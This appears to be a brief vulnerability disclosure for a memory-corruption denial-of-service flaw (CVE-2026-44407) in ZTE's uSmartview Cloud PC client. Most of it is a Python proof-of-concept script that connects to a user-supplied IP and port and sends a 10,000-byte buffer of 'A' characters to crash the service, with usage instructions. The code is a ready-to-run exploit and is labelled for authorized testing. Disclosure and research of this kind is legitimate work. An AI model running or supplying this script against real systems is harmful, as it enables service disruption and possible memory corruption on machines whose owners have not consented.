A remote denial-of-service vulnerability exists in the ZTE Cloud PC client uSmartview, which may lead to memory corruption and remote denial of service.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-44407 Memory Corruption in ZTE uSmartview
# This script attempts to trigger a DoS by sending a large buffer.
import socket
import sys
def send_exploit(target_ip, target_port):
try:
# Create a malicious buffer with a pattern often causing overflows
payload = b"A" * 10000
print(f"[*] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
print("[*] Sending malicious payload...")
s.send(payload)
print("[*] Payload sent. Check if the service crashed.")
s.close()
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 poc.py <IP> <PORT>")
sys.exit(1)
send_exploit(sys.argv[1], int(sys.argv[2]))